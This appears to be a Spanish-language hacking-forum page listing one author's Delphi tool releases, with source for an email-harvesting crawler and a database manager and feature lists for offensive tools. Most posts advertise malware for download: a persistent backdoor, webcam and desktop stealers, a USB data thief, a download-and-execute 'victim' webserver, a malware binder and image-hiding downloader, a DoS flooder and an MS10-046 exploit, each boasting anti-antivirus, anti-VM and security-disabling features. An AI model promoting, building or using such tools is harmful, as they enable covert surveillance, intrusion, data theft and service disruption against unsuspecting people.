              regex.regex := '[A-Z0-9._%+-]+\@[A-Z0-9.-]+\.[A-Z]{2,4}';
              regex.options := [preCaseLess];
              regex.Subject := code;

              while regex.MatchAgain do
              begin
                Inc(counter);
                new_item := lvEmailsFound.Items.Add;
                new_item.Caption := regex.Groups[0];
                new_item.SubItems.Add(page_to_load);
              end;

              regex.Free();

            end).SetParameter('page', page).Unobserved.Schedule;

        end;

        while GlobalOmniThreadPool.CountExecuting +
          GlobalOmniThreadPool.CountQueued > 0 do
        begin
          Application.ProcessMessages;
        end;

        if (counter > 0) then
        begin
          gbEmailsFound.Caption := 'Emails Found : ' + IntToStr(counter);
          status.Panels[0].Text := '
  • Emails Found : ' + IntToStr(counter);[/li][/list]
          FormHome.Update;
          message_box('DH Spider 1.0', 'Emails Found : ' + IntToStr(counter),
            'Information');
        end
        else
        begin
          status.Panels[0].Text := '[-] Emails not found';
          FormHome.Update;
          message_box('DH Spider 1.0', 'Emails not found', 'Warning');
        end;
      end
      else
      begin
        message_box('DH Spider 1.0', 'Links not found', 'Warning');
      end;
    end;

    procedure TFormHome.btnStopScanClick(Sender: TObject);
    begin
      GlobalOmniThreadPool.CancelAll;
      stop := True;
      status.Panels[0].Text := '
  • Stopped';[/li][/list]
      FormHome.Update;
      message_box('DH Spider 1.0', 'Scan Stopped', 'Information');
    end;

    procedure TFormHome.ItemClearListEmailsClick(Sender: TObject);
    begin
      gbEmailsFound.Caption := 'Emails Found';
      lvEmailsFound.Items.Clear;
      message_box('DH Spider 1.0', 'List Cleaned', 'Information');
    end;

    procedure TFormHome.ItemClearListLinksClick(Sender: TObject);
    begin
      gbLinks.Caption := 'Links Found';
      lvLinks.Items.Clear();
      message_box('DH Spider 1.0', 'List Cleaned', 'Information');
    end;

    procedure TFormHome.ItemLoadFromFileClick(Sender: TObject);
    var
      filename: string;
      lineas: TStringList;
      i: integer;
      counter: integer;
    begin
      counter := 0;
      if (odOpenFile.Execute) then
      begin
        filename := odOpenFile.filename;
        if (FileExists(filename)) then
        begin
          status.Panels[0].Text := '
  • Loading file ...';[/li][/list]
          FormHome.Update;
          lineas := TStringList.Create();
          lineas.Loadfromfile(filename);
          for i := 0 to lineas.count - 1 do
          begin
            with lvLinks.Items.Add do
            begin
              Caption := lineas[i];
              Inc(counter);
            end;
          end;
          lineas.Free;
          gbLinks.Caption := 'Links Found : ' + IntToStr(counter);
          if (counter > 0) then
          begin
            status.Panels[0].Text := '
  • Links Found : ' + IntToStr(counter);[/li][/list]
            FormHome.Update;
            message_box('DH Spider 1.0', 'Links Found : ' + IntToStr(counter),
              'Information');
          end
          else
          begin
            status.Panels[0].Text := '[-] Links not found';
            FormHome.Update;
            message_box('DH Spider 1.0', 'Links not found', 'Warning');
          end;
        end
        else
        begin
          message_box('DH Spider 1.0', 'File not found', 'Warning');
        end;
      end;
    end;

    procedure TFormHome.ItemSaveEmailsClick(Sender: TObject);
    var
      i: integer;
      i2: integer;
      emails: TStringList;
    begin
      if (lvEmailsFound.Items.count > 0) then
      begin
        if (sdSaveLogs.Execute) then
        begin

          emails := TStringList.Create();

          for i := 0 to lvEmailsFound.Items.count - 1 do
          begin
            emails.Add(lvEmailsFound.Items[i].Caption);
          end;

          emails.Sorted := True;

          for i2 := 0 to emails.count - 1 do
          begin
            savefile(sdSaveLogs.filename, emails[i2] + sLineBreak);
          end;

          emails.Free();

          status.Panels[0].Text := '
  • Logs saved';[/li][/list]
          FormHome.Update;

          message_box('DH Spider 1.0', 'Emails saved', 'Information');
        end
        else
        begin
          message_box('DH Spider 1.0', 'File not found', 'Warning');
        end;
      end
      else
      begin
        message_box('DH Spider 1.0', 'Emails not found', 'Warning');
      end;
    end;

    procedure TFormHome.ItemSaveLinksClick(Sender: TObject);
    var
      i: integer;
      i2: integer;
      links: TStringList;
    begin
      if (lvLinks.Items.count > 0) then
      begin
        if (sdSaveLogs.Execute) then
        begin

          links := TStringList.Create();

          for i := 0 to lvLinks.Items.count - 1 do
          begin
            links.Add(lvLinks.Items[i].Caption);
          end;

          links.Sorted := True;

          for i2 := 0 to links.count - 1 do
          begin
            savefile(sdSaveLogs.filename, links[i2] + sLineBreak);
          end;

          links.Free();

          status.Panels[0].Text := '
  • Logs saved';[/li][/list]
          FormHome.Update;

          message_box('DH Spider 1.0', 'Links saved', 'Information');
        end
        else
        begin
          message_box('DH Spider 1.0', 'File not found', 'Warning');
        end;
      end
      else
      begin
        message_box('DH Spider 1.0', 'Links not found', 'Warning');
      end;
    end;

    end.

    // The End ?

    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

9
Delphi / [Delphi] DH DoS Tools 1.0
« en: Noviembre 17, 2016, 09:13:37 am »
Un programa para hacer Dos (o mas bien floodear) hecho en Delphi.

Tiene las siguientes opciones :

  • Principales : [/li]

  • Permite seleccionar la cantidad de threads a usar[/li]
  • HTTP Flood[/li]
  • Socket Flood[/li]
  • SQLI DoS[/li]
  • Slowloris[/li]
  • UDP Flood[/li][/list]

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

10
Delphi / [Delphi] Heaven Door 1.0
« en: Noviembre 11, 2016, 01:30:30 pm »
Un programa en Delphi que funciona como un backdoor persistente de conexion directa.

Tiene las siguientes opciones :

  • Principales : [/li]

  • Backdoor persistente de conexion directa[/li]

  • Secundarias : [/li]

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis : [/li]

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables : [/li]

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Unas imagenes :





    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

11
Delphi / [Delphi] DH Remote Desktop 1.0
« en: Noviembre 03, 2016, 09:54:20 am »
Un programa en Delphi para capturar el escritorio de una "victima".

Tiene las siguientes opciones :

  • Principales : [/li]

  • Capturar escritorio de la victima de forma remota[/li]

  • Secundarias : [/li]

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis : [/li]

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables : [/li]

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    You are not allowed to view links. Register or Login.

    Eso seria todo.

12
Delphi / [Delphi] DH Webcam Stealer 1.0
« en: Noviembre 03, 2016, 09:53:21 am »
Un programa en Delphi para capturar la webcam de una "victima".

Tiene las siguientes opciones :

  • Principales : [/li]

  • Capturar escritorio de la webcam de forma remota[/li]

  • Secundarias : [/li]

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis : [/li]

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables : [/li]

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    You are not allowed to view links. Register or Login.

    Eso seria todo.

13
Delphi / [Delphi] DH Database Manager 0.8
« en: Octubre 28, 2016, 05:16:16 pm »
Un programa en Delphi para administrar bases de datos del tipo :

  • MSSQL[/li]
  • MySQL[/li]
  • SQLite[/li][/list]

    Unas imagenes :







    El codigo :

    Código: Delphi
    1. // DH Database Manager 0.8
    2. // (C) Doddy Hackman 2016
    3.  
    4. unit manager;
    5.  
    6. interface
    7.  
    8. uses
    9.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
    10.   System.Classes, Vcl.Graphics,
    11.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.ComCtrls,
    12.   Vcl.StdCtrls,
    13.   Vcl.DBCtrls, Vcl.Grids, Vcl.DBGrids, ZAbstractConnection, ZConnection,
    14.   ZAbstractTable, ZDataset, Data.DB, ZAbstractRODataset, ZAbstractDataset,
    15.   ShellApi, Vcl.ImgList, Vcl.Imaging.pngimage;
    16.  
    17. type
    18.   TFormHome = class(TForm)
    19.     imgLogo: TImage;
    20.     status: TStatusBar;
    21.     pcOptions: TPageControl;
    22.     tsConfiguration: TTabSheet;
    23.     tsOptions: TTabSheet;
    24.     tsGrid: TTabSheet;
    25.     gbConfiguration: TGroupBox;
    26.     lblHost: TLabel;
    27.     txtHostname: TEdit;
    28.     lblPort: TLabel;
    29.     txtPort: TEdit;
    30.     lblUsername: TLabel;
    31.     txtUsername: TEdit;
    32.     lblPassword: TLabel;
    33.     txtPassword: TEdit;
    34.     lblDatabase: TLabel;
    35.     txtDatabase: TEdit;
    36.     cmbService: TComboBox;
    37.     btnConnect: TButton;
    38.     btnDisconnect: TButton;
    39.     gbOptions: TGroupBox;
    40.     lblTable: TLabel;
    41.     lblSQL_Query: TLabel;
    42.     cmbTables: TComboBox;
    43.     txtSQL_Query: TEdit;
    44.     btnLoadTable: TButton;
    45.     btnExecute: TButton;
    46.     connection: TZConnection;
    47.     lblService: TLabel;
    48.     grid_connection: TDBGrid;
    49.     nav_connection: TDBNavigator;
    50.     query_connection: TZQuery;
    51.     table_connection: TZTable;
    52.     datasource_connection: TDataSource;
    53.     btnLoadDB: TButton;
    54.     odLoadDB: TOpenDialog;
    55.     btnRefreshTables: TButton;
    56.     ilIconosMenu: TImageList;
    57.     ilIconosBotones: TImageList;
    58.     procedure btnConnectClick(Sender: TObject);
    59.     procedure btnDisconnectClick(Sender: TObject);
    60.     procedure btnLoadTableClick(Sender: TObject);
    61.     procedure btnExecuteClick(Sender: TObject);
    62.     procedure cmbServiceSelect(Sender: TObject);
    63.     procedure FormCreate(Sender: TObject);
    64.     procedure btnLoadDBClick(Sender: TObject);
    65.     procedure btnRefreshTablesClick(Sender: TObject);
    66.   private
    67.     { Private declarations }
    68.     procedure DragDropFile(var Msg: TMessage); message WM_DROPFILES;
    69.   public
    70.     { Public declarations }
    71.     procedure cargarTablas();
    72.   end;
    73.  
    74. var
    75.   FormHome: TFormHome;
    76.  
    77. implementation
    78.  
    79. {$R *.dfm}
    80. // Functions
    81.  
    82. function message_box(title, message_text, type_message: string): string;
    83. begin
    84.   if not(title = '') and not(message_text = '') and not(type_message = '') then
    85.   begin
    86.     try
    87.       begin
    88.         if (type_message = 'Information') then
    89.         begin
    90.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
    91.             MB_ICONINFORMATION);
    92.         end
    93.         else if (type_message = 'Warning') then
    94.         begin
    95.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
    96.             MB_ICONWARNING);
    97.         end
    98.         else if (type_message = 'Question') then
    99.         begin
    100.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
    101.             MB_ICONQUESTION);
    102.         end
    103.         else if (type_message = 'Error') then
    104.         begin
    105.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
    106.             MB_ICONERROR);
    107.         end
    108.         else
    109.         begin
    110.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
    111.             MB_ICONINFORMATION);
    112.         end;
    113.         Result := '</li><li type="square"> MessageBox : OK';[/li][/list]
    114.       end;
    115.     except
    116.       begin
    117.         Result := '[-] Error';
    118.       end;
    119.     end;
    120.   end
    121.   else
    122.   begin
    123.     Result := '[-] Error';
    124.   end;
    125. end;
    126.  
    127. // Function to DragDrop
    128.  
    129. // Based in : [url]http://www.clubdelphi.com/foros/showthread.php?t=85665[/url]
    130. // Thanks to ecfisa
    131.  
    132. var
    133.   bypass_window: function(Msg: Cardinal; dwFlag: Word): BOOL; stdcall;
    134.  
    135. procedure TFormHome.DragDropFile(var Msg: TMessage);
    136. var
    137.   nombre_archivo, extension: string;
    138.   limite, number: integer;
    139.   path: array [0 .. MAX_COMPUTERNAME_LENGTH + MAX_PATH] of char;
    140. begin
    141.   limite := DragQueryFile(Msg.WParam, $FFFFFFFF, path, 255) - 1;
    142.   if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
    143.     for number := 0 to limite do
    144.     begin
    145.       bypass_window(number, 1);
    146.     end;
    147.   for number := 0 to limite do
    148.   begin
    149.     DragQueryFile(Msg.WParam, number, path, 255);
    150.  
    151.     //
    152.  
    153.     if (FileExists(path)) then
    154.     begin
    155.       nombre_archivo := ExtractFilename(path);
    156.       extension := ExtractFileExt(path);
    157.       extension := StringReplace(extension, '.', '',
    158.         [rfReplaceAll, rfIgnoreCase]);
    159.       if (extension = 'sqlite') or (extension = 'db3') or (extension = 's3db')
    160.       then
    161.       begin
    162.         txtDatabase.Text := path;
    163.         status.Panels[0].Text := '</li><li type="square"> DB Loaded';[/li][/list]
    164.         message_box('DH Database Manager 0.8', 'DB Loaded', 'Information');
    165.       end
    166.       else
    167.       begin
    168.         status.Panels[0].Text := '[-] The DB is not valid';
    169.         message_box('DH Database Manager 0.8', 'The DB is not valid',
    170.           'Warning');
    171.       end;
    172.     end;
    173.  
    174.     //
    175.  
    176.   end;
    177.   DragFinish(Msg.WParam);
    178. end;
    179.  
    180. //
    181.  
    182. procedure TFormHome.cargarTablas();
    183. var
    184.   lst: TStrings;
    185.   count: integer;
    186. begin
    187.   if (connection.Connected = true) then
    188.   begin
    189.     try
    190.       begin
    191.         cmbTables.Clear;
    192.         lst := TStringList.Create;
    193.         connection.GetTableNames('', lst);
    194.         count := lst.count;
    195.         cmbTables.Items.Assign(lst);
    196.         lst.Free();
    197.         if (count >= 1) then
    198.         begin
    199.           cmbTables.ItemIndex := 0;
    200.         end;
    201.         ShowMessage('Tables loaded : ' + IntToStr(count));
    202.       end;
    203.     except
    204.       begin
    205.         ShowMessage('Tables not found');
    206.       end;
    207.     end;
    208.   end
    209.   else
    210.   begin
    211.     message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
    212.   end;
    213. end;
    214.  
    215. procedure TFormHome.cmbServiceSelect(Sender: TObject);
    216. begin
    217.   if (cmbService.Text = 'MSSQL') then
    218.   begin
    219.     txtDatabase.ReadOnly := false;
    220.     btnLoadDB.Enabled := false;
    221.   end
    222.   else if (cmbService.Text = 'MYSQL') then
    223.   begin
    224.     txtDatabase.ReadOnly := false;
    225.     btnLoadDB.Enabled := false;
    226.   end
    227.   else if (cmbService.Text = 'SQLITE') then
    228.   begin
    229.     txtDatabase.Text := '';
    230.     txtDatabase.ReadOnly := true;
    231.     btnLoadDB.Enabled := true;
    232.   end
    233.   else
    234.   begin
    235.     status.Panels[0].Text := '[-] Service not found';
    236.     message_box('DH Database Manager 0.8', 'Service not found', 'Warning');
    237.   end;
    238. end;
    239.  
    240. procedure TFormHome.FormCreate(Sender: TObject);
    241. begin
    242.  
    243.   //
    244.  
    245.   if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
    246.   begin
    247.     @bypass_window := GetProcAddress(LoadLibrary('user32.dll'),
    248.       'ChangeWindowMessageFilter');
    249.     bypass_window(WM_DROPFILES, 1);
    250.     bypass_window(WM_COPYDATA, 1);
    251.     bypass_window($0049, 1);
    252.   end;
    253.   DragAcceptFiles(Handle, true);
    254.  
    255.   //
    256.  
    257.   UseLatestCommonDialogs := false;
    258.   odLoadDB.InitialDir := GetCurrentDir;
    259.   odLoadDB.Filter :=
    260.     'SQLITE files (*.sqlite)|*.SQLITE|DB3 Files (*.db3)|*.DB3|S3DB File (*.s3db)|*.S3DB';
    261.  
    262.   //
    263.  
    264.   btnLoadDB.Enabled := false;
    265. end;
    266.  
    267. procedure TFormHome.btnConnectClick(Sender: TObject);
    268. begin
    269.  
    270.   // MSSQL : localhost\SQLEXPRESS
    271.   // admin:123456
    272.  
    273.   // MYSQL : localhost:3306
    274.   // root
    275.  
    276.   if (cmbService.Text = 'MSSQL') then
    277.   begin
    278.     if (txtHostname.Text = '') or (txtUsername.Text = '') or
    279.       (txtPassword.Text = '') then
    280.     begin
    281.       status.Panels[0].Text := '[-] Missing data';
    282.       message_box('DH Database Manager 0.8', 'Missing data', 'Warning');
    283.     end
    284.     else
    285.     begin
    286.       try
    287.         begin
    288.           connection.HostName := txtHostname.Text;
    289.  
    290.           if not(txtDatabase.Text = '') then
    291.           begin
    292.             connection.Database := txtDatabase.Text;
    293.           end;
    294.  
    295.           connection.Database := 'sistema';
    296.           connection.Protocol := 'mssql';
    297.           connection.User := txtUsername.Text;
    298.           connection.Password := txtPassword.Text;
    299.           connection.Connect;
    300.  
    301.           status.Panels[0].Text := '</li><li type="square"> Connected';[/li][/list]
    302.           message_box('DH Database Manager 0.8', 'Connected', 'Information');
    303.  
    304.           if not(txtDatabase.Text = '') then
    305.           begin
    306.             cargarTablas();
    307.           end;
    308.  
    309.         end;
    310.       except
    311.         begin
    312.           status.Panels[0].Text := '[-] Error connecting';
    313.           message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
    314.         end;
    315.       end;
    316.     end;
    317.   end
    318.   else if (cmbService.Text = 'MYSQL') then
    319.   begin
    320.     if (txtHostname.Text = '') or (txtPort.Text = '') or (txtUsername.Text = '')
    321.     then
    322.     begin
    323.       status.Panels[0].Text := '[-] Missing data';
    324.       message_box('DH Database Manager 0.8', 'Missing data', 'Warning');
    325.     end
    326.     else
    327.     begin
    328.       try
    329.         begin
    330.           connection.HostName := txtHostname.Text;
    331.           connection.Port := StrToInt(txtPort.Text);
    332.  
    333.           if not(txtDatabase.Text = '') then
    334.           begin
    335.             connection.Database := txtDatabase.Text;
    336.           end;
    337.  
    338.           connection.Protocol := 'mysql-5';
    339.  
    340.           connection.User := txtUsername.Text;
    341.           connection.Password := txtPassword.Text;
    342.           connection.Connect;
    343.  
    344.           status.Panels[0].Text := '</li><li type="square"> Connected';[/li][/list]
    345.           message_box('DH Database Manager 0.8', 'Connected', 'Information');
    346.  
    347.           if not(txtDatabase.Text = '') then
    348.           begin
    349.             cargarTablas();
    350.           end;
    351.  
    352.         end;
    353.       except
    354.         begin
    355.           status.Panels[0].Text := '[-] Error connecting';
    356.           message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
    357.         end;
    358.       end;
    359.     end;
    360.   end
    361.   else if (cmbService.Text = 'SQLITE') then
    362.   begin
    363.     if not(FileExists(txtDatabase.Text)) then
    364.     begin
    365.       status.Panels[0].Text := '[-] SQLITE Database not found';
    366.       message_box('DH Database Manager 0.8', 'SQLITE Database not found',
    367.         'Warning');
    368.     end
    369.     else
    370.     begin
    371.       try
    372.         begin
    373.           connection.Protocol := 'sqlite-3';
    374.           connection.Database := txtDatabase.Text;
    375.           connection.Connect;
    376.  
    377.           status.Panels[0].Text := '</li><li type="square"> Connected';[/li][/list]
    378.           message_box('DH Database Manager 0.8', 'Connected', 'Information');
    379.  
    380.           if not(txtDatabase.Text = '') then
    381.           begin
    382.             cargarTablas();
    383.           end;
    384.  
    385.         end;
    386.       except
    387.         begin
    388.           status.Panels[0].Text := '[-] Error connecting';
    389.           message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
    390.         end;
    391.       end;
    392.     end;
    393.   end
    394.   else
    395.   begin
    396.     status.Panels[0].Text := '[-] Service not found';
    397.     message_box('DH Database Manager 0.8', 'Service not found', 'Warning');
    398.   end;
    399.  
    400. end;
    401.  
    402. procedure TFormHome.btnDisconnectClick(Sender: TObject);
    403. begin
    404.   if connection.Connected = true then
    405.   begin
    406.     connection.Connected := false;
    407.     status.Panels[0].Text := '</li><li type="square"> Disconnect';[/li][/list]
    408.     message_box('DH Database Manager 0.8', 'Disconnect', 'Information');
    409.   end
    410.   else
    411.   begin
    412.     status.Panels[0].Text := '[-] Not connected';
    413.     message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
    414.   end;
    415. end;
    416.  
    417. procedure TFormHome.btnExecuteClick(Sender: TObject);
    418. begin
    419.   if (connection.Connected = true) then
    420.   begin
    421.     try
    422.       begin
    423.         query_connection.Active := false;
    424.         query_connection.SQL.Clear;
    425.         query_connection.SQL.Add(txtSQL_Query.Text);
    426.         query_connection.Active := true;
    427.         datasource_connection.DataSet := query_connection;
    428.         datasource_connection.DataSet.Refresh;
    429.         status.Panels[0].Text := '</li><li type="square"> Command Executed';[/li][/list]
    430.         message_box('DH Database Manager 0.8', 'Command Executed',
    431.           'Information');
    432.       end;
    433.     except
    434.       on E: Exception do
    435.       begin
    436.         if (E.Message = 'Can not open a Resultset') then
    437.         begin
    438.           status.Panels[0].Text := '[?] SQL Query not return ResultSet';
    439.           message_box('DH Database Manager 0.8',
    440.             'SQL Query not return ResultSet', 'Information');
    441.         end
    442.         else
    443.         begin
    444.           status.Panels[0].Text := '[-] SQL Query Error';
    445.           message_box('DH Database Manager 0.8', 'SQL Query Error', 'Error');
    446.         end;
    447.       end;
    448.     end;
    449.   end
    450.   else
    451.   begin
    452.     status.Panels[0].Text := '[-] Not connected';
    453.     message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
    454.   end;
    455. end;
    456.  
    457. procedure TFormHome.btnLoadDBClick(Sender: TObject);
    458. begin
    459.   if odLoadDB.Execute then
    460.   begin
    461.     txtDatabase.Text := odLoadDB.filename;
    462.   end;
    463. end;
    464.  
    465. procedure TFormHome.btnLoadTableClick(Sender: TObject);
    466. begin
    467.   if (connection.Connected = true) then
    468.   begin
    469.     try
    470.       begin
    471.         table_connection.Active := false;
    472.         table_connection.TableName := cmbTables.Text;
    473.         datasource_connection.DataSet := table_connection;
    474.         table_connection.Active := true;
    475.         datasource_connection.DataSet.Refresh;
    476.         status.Panels[0].Text := '</li><li type="square"> Table Loaded';[/li][/list]
    477.         message_box('DH Database Manager 0.8', 'Table Loaded', 'Information');
    478.       end;
    479.     except
    480.       begin
    481.         status.Panels[0].Text := '[-] Error loading table';
    482.         message_box('DH Database Manager 0.8', 'Error loading table', 'Error');
    483.       end;
    484.     end;
    485.   end
    486.   else
    487.   begin
    488.     status.Panels[0].Text := '[-] Not connected';
    489.     message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
    490.   end;
    491. end;
    492.  
    493. procedure TFormHome.btnRefreshTablesClick(Sender: TObject);
    494. begin
    495.   cargarTablas();
    496. end;
    497.  
    498. end.
    499.  
    500. // The End ?
    501.  

    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

14
Delphi / [Delphi] IP Thief 0.6
« en: Octubre 28, 2016, 05:14:25 pm »
Un programa en Delphi y PHP para capturar la IP de una persona con solo enviar un link y poder mostrarlo en el programa en Delphi.

Opciones :

  • Capturar IP,Country,DateTime del visitante[/li]
  • Generador de la APP en PHP desde Delphi[/li]
  • Mostrar los datos desde la aplicacion en Delphi[/li][/list]

    Unas imagenes :





    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    You are not allowed to view links. Register or Login.

    Eso seria todo.

15
Delphi / [Delphi] DH ShortCut Backdoor 0.5
« en: Octubre 25, 2016, 08:48:40 am »
Un programa en Delphi para generar un acceso directo para ejecutar un backdoor usando powershell.

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

You are not allowed to view links. Register or Login.
You are not allowed to view links. Register or Login.

Eso seria todo.

16
Delphi / [Delphi] DH ShortCut Exploit 0.8
« en: Octubre 25, 2016, 08:47:11 am »
Un exploit hecho en Delphi para la vulnerabilidad "MS10-046 CPL Lnk Exploit".

El exploit les permite ejecutar una lista de comandos.

Una imagen :



Nota : el DLL "shell69.dll" tienen que moverlo a la carpeta de Windows cuando usen un Binder.

Si quieren bajar el programa lo pueden hacer de aca :

You are not allowed to view links. Register or Login.
You are not allowed to view links. Register or Login.

Eso seria todo.

17
Delphi / [Delphi] Project CagaTron 2.0
« en: Octubre 23, 2016, 06:52:21 pm »
Un programa para capturar los datos de cualquier USB que se conecte a la computadora.

Tiene las siguientes opciones :

  • Principales : [/li]

  • Funciona en segundo plano[/li]
  • Permite usar una contraseña personalizada en el comprimido resultante[/li]
  • Permite seleccionar las extensiones que se deseen del usb que se conecte[/li]
  • En el comprimido muestra informacion sobre la computadora en la que se capturo los datos[/li]

  • Secundarias : [/li]

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis : [/li]

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables : [/li]

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

18
Delphi / [Delphi] Commander Web Server 1.0
« en: Octubre 23, 2016, 06:50:44 pm »
Un programa en Delphi que convierte a la victima en un webserver para mandar instrucciones.

Tiene las siguientes opciones :

  • Principales : [/li]

  • WebServer[/li]
  • Ejecutar comandos y recibir respuesta[/li]
  • Descargar y ejecutar ejecutables de forma paralela[/li]
  • Messages Bomber[/li]

  • Secundarias : [/li]

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis : [/li]

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables : [/li]

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Unas imagenes :





    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

19
Delphi / [Delphi] DH Downloader 2.0
« en: Octubre 22, 2016, 01:42:51 pm »
Un Downloader hecho en Delphi.

Tiene las siguientes opciones :

  • Principales : [/li]

  • Mezclar una imagen con un malware y que la imagen resultante se vea bien[/li]
  • Descargar manualmente o generar el stub para descargar la imagen infectada y ejecutar el malware[/li]

  • Secundarias : [/li]

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis : [/li]

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables : [/li]

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

20
Delphi / [Delphi] DH Binder 2.0
« en: Octubre 22, 2016, 01:41:39 pm »
Un Binder hecho en Delphi.

Tiene las siguientes opciones :

  • Principales : [/li]

  • Agregar infinitos archivos[/li]
  • Opcion para ocultar cualquiera de los archivos[/li]
  • Se puede cargar de forma : Normal,Oculta y no ejecutar , cualquiera de los archivos[/li]

  • Secundarias : [/li]

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis : [/li]

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables : [/li]

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

Páginas: [1] 2 3 ... 20